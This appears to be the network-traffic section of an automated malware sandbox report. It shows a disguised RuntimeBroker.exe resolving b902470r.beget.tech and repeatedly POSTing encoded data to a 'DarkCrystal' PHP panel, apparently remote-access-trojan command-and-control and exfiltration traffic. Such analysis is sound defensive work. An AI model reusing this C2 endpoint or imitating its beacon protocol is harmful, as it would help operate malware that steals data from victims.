Nov 9, 2024 22:24:18.748542070 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:18.867985010 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.043191910 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.103909016 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.103986025 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.104516029 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.109270096 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.308538914 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.367227077 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.367279053 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.367876053 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.372617006 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.392304897 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.393191099 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.399899960 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.399954081 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.399993896 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.653799057 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.659199953 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.664103031 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664113998 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664169073 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664180994 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664199114 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664223909 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.664264917 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.664290905 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664299965 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664345026 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664370060 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664378881 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.664406061 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.664480925 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.669058084 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669092894 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669131994 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669147015 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669157028 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669169903 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669179916 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.669286966 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669310093 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669320107 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.669425964 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.669493914 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.670341015 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674035072 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674155951 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674165964 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674185038 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674248934 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674340963 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674350023 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674359083 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674396038 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674403906 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674417019 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674453974 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674482107 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674489975 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674494028 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674499989 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674530029 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674539089 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674546003 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674565077 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674580097 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674592972 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674609900 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674618006 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674634933 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674649000 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674671888 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.674699068 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.674721956 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.675106049 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.675113916 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.675159931 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.675194979 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.675221920 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.675252914 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.678966045 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.679050922 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679101944 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679110050 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679117918 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679125071 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.679153919 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679162979 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679172039 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.679183006 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679203033 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679212093 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.679222107 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679230928 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679245949 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679254055 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679263115 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679270983 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679322004 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679336071 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679351091 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679359913 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679368019 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679450989 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679460049 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679462910 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679471970 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679517984 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679558992 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679568052 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679575920 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679603100 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679649115 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679658890 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679719925 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679730892 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679820061 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679827929 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679836035 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679930925 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.679939985 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680102110 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680109978 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680119038 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680126905 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680157900 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680206060 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680214882 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680222988 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680238008 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680258036 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680267096 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680274963 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680283070 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680355072 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680363894 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680371046 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680381060 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680469036 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680478096 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680485010 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680493116 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680495977 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680510998 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680519104 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680526018 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680565119 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680573940 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680578947 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.680586100 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.683829069 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.683839083 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684000015 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684122086 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684129000 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684211016 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684273005 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684281111 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684289932 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684324026 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684331894 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684343100 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.684412956 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.740514994 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.789978027 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.866455078 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.866455078 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.871439934 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.871721029 CET	80	50133	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:19.872349977 CET	50133	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.872349977 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.872571945 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:19.877367020 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.227428913 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.232455969 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.232469082 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.232479095 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.501671076 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.602363110 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.798755884 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.850675106 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.850739956 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.976634979 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.976742983 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.976782084 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.977665901 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.982538939 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.982603073 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.982806921 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.983072042 CET	80	50132	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.983120918 CET	50132	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.984278917 CET	80	50134	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.984322071 CET	50134	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.984394073 CET	80	50135	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:20.984440088 CET	50135	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:20.987596989 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.336930990 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:21.341923952 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.341938972 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.341947079 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.895479918 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.953789949 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:21.953912020 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.065438986 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.070877075 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.070950985 CET	80	50136	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:22.071151018 CET	50136	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.075825930 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:22.075902939 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.076025963 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.080775023 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:22.430614948 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:22.435592890 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:22.435606003 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:22.435616016 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.006871939 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.066605091 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.066750050 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.190376997 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.190824986 CET	50138	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.195627928 CET	80	50137	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.195650101 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.195687056 CET	50137	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.195725918 CET	50138	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.195810080 CET	50138	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.200519085 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.541193008 CET	50138	80	192.168.2.4	185.50.25.59
Nov 9, 2024 22:24:23.546197891 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.546209097 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:23.546216965 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:24.156541109 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:24.206692934 CET	80	50138	185.50.25.59	192.168.2.4
Nov 9, 2024 22:24:24.209011078 CET	50138	80	192.168.2.4	185.50.25.59

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:22:13.687186956 CET	49862	53	192.168.2.4	1.1.1.1
Nov 9, 2024 22:22:13.796430111 CET	53	49862	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 9, 2024 22:22:13.687186956 CET	192.168.2.4	1.1.1.1	0x15dd	Standard query (0)	b902470r.beget.tech	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 9, 2024 22:22:13.796430111 CET	1.1.1.1	192.168.2.4	0x15dd	No error (0)	b902470r.beget.tech		185.50.25.59	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

b902470r.beget.tech

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:13.810749054 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:14.166498899 CET	344	OUT	Data Raw: 05 06 04 06 06 0f 04 00 05 06 02 01 02 01 01 03 00 0b 05 09 02 0c 03 09 07 0f 0d 01 03 07 01 52 0d 51 04 0e 03 01 03 07 0c 06 05 03 07 01 06 06 03 03 0f 59 0f 04 05 07 06 07 06 06 05 05 00 0f 03 53 0f 00 07 03 01 07 0b 0f 0c 54 0f 0d 0d 04 05 0d Data Ascii: RQYSTTR\L~A^iZ`vXwup@k\|[Mc\|k^cZy\|p_x`j~tcg^L~u~V@x}PNru
Nov 9, 2024 22:22:14.727248907 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:14.888159037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1384 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 56 4a 7e 4e 6c 0b 63 06 6f 61 64 00 6b 5f 67 03 69 77 5d 0d 7f 70 65 4f 79 73 63 5c 7e 61 64 05 60 4d 7d 0b 6e 71 57 01 61 58 64 03 7c 71 78 01 55 4b 71 09 60 5b 7c 5a 6b 04 69 4f 7d 67 57 53 78 66 7c 09 6a 5d 59 4a 61 61 71 06 60 4f 7d 00 7c 07 62 4b 7e 6f 60 40 6a 67 59 02 76 4c 7b 06 7c 5c 6d 49 7e 73 72 5e 6f 5e 6c 04 6f 01 68 01 78 6d 7f 49 79 5b 73 59 7b 63 5b 5a 7d 60 60 49 7b 74 60 44 7e 62 7f 07 62 62 67 59 7a 51 41 5b 7c 67 78 0a 68 71 6e 50 76 7f 74 06 6f 6c 78 01 74 5e 6e 0a 6e 5f 57 04 69 6f 65 5f 78 61 72 48 76 5d 5e 59 76 62 6f 5b 77 5f 7e 50 7e 5d 7a 06 74 72 6e 5c 76 65 51 50 68 6f 76 5c 77 6f 7f 5d 7f 63 6c 03 6f 6c 5d 03 7a 70 66 44 6b 6d 5a 08 60 67 6f 5f 7e 62 72 09 7d 6e 63 0c 7b 43 50 4f 7f 62 75 06 7b 5d 46 51 6b 6f 60 0d 6a 5e 60 09 7d 01 79 58 7b 6d 7b 02 6f 04 63 5b 7c 61 73 06 6a 64 67 09 7f 73 7a 52 6e 5d 74 00 7e 4c 78 49 74 70 7d 51 7b 5c 79 49 75 76 7c 01 7e 76 64 05 7d 66 5f 0b 77 5c 7f 01 7f 72 69 42 7f 59 6a 0b 7b 58 5a 4f 7c 63 6b 48 75 62 75 05 77 61 75 01 7f 71 [TRUNCATED] Data Ascii: VJ~Nlcoadk_giw]peOysc\~ad`M}nqWaXd\|qxUKq`[\|ZkiO}gWSxf\|j]YJaaq`O}\|bK~o`@jgYvL{\|\mI~sr^o^lohxmIy[sY{c[Z}``I{t`D~bbbgYzQA[\|gxhqnPvtolxt^nn_Wioe_xarHv]^Yvbo[w_~P~]ztrn\veQPhov\wo]clol]zpfDkmZ`go_~br}nc{CPObu{]FQko`j^`}yX{m{oc[\|asjdgszRn]t~LxItp}Q{\yIuv\|~vd}f_w\riBYj{XZO\|ckHubuwauqjH}B`}Icvq{LmH~`m{Ihywt{mYyLtxs\}pRxIR~rQ@uqRG}BJ\|ItO}aSuRlz\|xIwpbAyayH}lzAxafHu]cua\|At_f^vvrmvuRlSt\|tBMhyl]KxpTK\|mtCtw`N~rfA~mQxm~}\yNVA\|R^~NxA}IP{mw{rxFOgK~gUO\|^iOzs^}r\|ItM[Aya[vX`}vZ}fSOw\k\aITyvt~Mkvruwqu~qz~R^C~YQuOk{L[J~NaKygRxIhOxSsHxbdzsP{]NZxw\|D}bxZvbpjUK\|gUT\|_a@u\|hxlw\cs~yarXi\|T_z\y\}b`g{ZL~JxYzNvr}v[^Ak\|zYwopM\|]`JoBox^}Y\|m^NcYt~L~OzSYQgaeZS[_P\|cNSUilRP^[CQqdDlqwkbJEQ^ROSHKbs]j[oA`NyK}_bZbfRH}hj_}BcrgJ\|Lu}TowPi]hXumcrqx_CyUQURp@\bV@WZIil~lkwYV\{mQK{\\|{tO\|`xFxI\|Zu\|YbbGQp`\Sd^kX]kp\|SEA[sOUnbY{yXobFZ`]YbPZXaWPcBp\W\nvoh`}\u{s[k`DTp`\TcUQ
Nov 9, 2024 22:22:14.888367891 CET	395	IN	Data Raw: 54 6f 57 58 64 00 43 61 04 0e 53 69 6a 7f 0e 7c 55 65 6f 79 5f 47 5e 68 06 67 4e 51 7f 41 08 6a 06 5d 4d 6b 00 7d 58 6f 0b 5e 45 54 5d 04 59 53 62 67 5a 7c 5a 7c 6d 6b 6c 58 50 57 4e 70 46 79 5b 51 5d 5b 04 72 4b 50 62 54 43 5a 5e 08 58 51 01 67 Data Ascii: ToWXdCaSij\|Ueoy_G^hgNQAj]Mk}Xo^ET]YSbgZ\|Z\|mklXPWNpFy[Q][rKPbTCZ^XQgBTzrhXhey{_em[NQidF[q@cTEi}GToS]^\|ab\\|\WYecCRto_uwoa`]TO\|B\|ZSZP{@RdQCQZ]ZRo^P]c\|PfUqRV_aStXuw}WnbGQpeXTbWaF\rYCcbeYuCceqqZNRVbZp}A
Nov 9, 2024 22:22:15.120165110 CET	270	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 384 Expect: 100-continue
Nov 9, 2024 22:22:15.404855967 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:15.440876007 CET	384	OUT	Data Raw: 55 5a 59 5b 56 5c 5e 50 5d 5d 54 54 54 50 5b 5a 56 50 5f 5b 5b 53 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZY[V\^P]]TTTP[ZVP_[[SZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!$5E78Y!/0<3!. >3% ]0?Z+^#E&*].?'Y&%[(<
Nov 9, 2024 22:22:15.787828922 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5b 3c 14 04 0d 34 00 3e 51 3e 32 32 0b 3c 04 22 07 26 20 3c 5a 2b 3c 07 16 3f 04 20 0d 35 2d 08 5c 27 3c 35 58 36 08 30 58 25 1a 2b 5a 01 1c 25 40 28 3d 38 50 26 16 04 57 24 27 35 14 37 59 2b 16 32 27 2b 11 26 0b 3e 0d 3d 20 2f 0b 2c 21 0b 5c 3f 07 3f 43 27 22 36 10 37 35 2a 55 03 12 23 18 2a 3e 3b 1d 31 3d 2b 54 28 21 38 10 22 10 27 11 22 28 3b 00 33 3b 27 1b 2f 1d 38 12 33 33 09 59 2b 31 2b 12 20 2f 32 0c 27 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #[<4>Q>22<"& <Z+<? 5-\'<5X60X%+Z%@(=8P&W$'57Y+2'+&>= /,!\??C'"675U#>;1=+T(!8"'"(;3;'/833Y+1+ 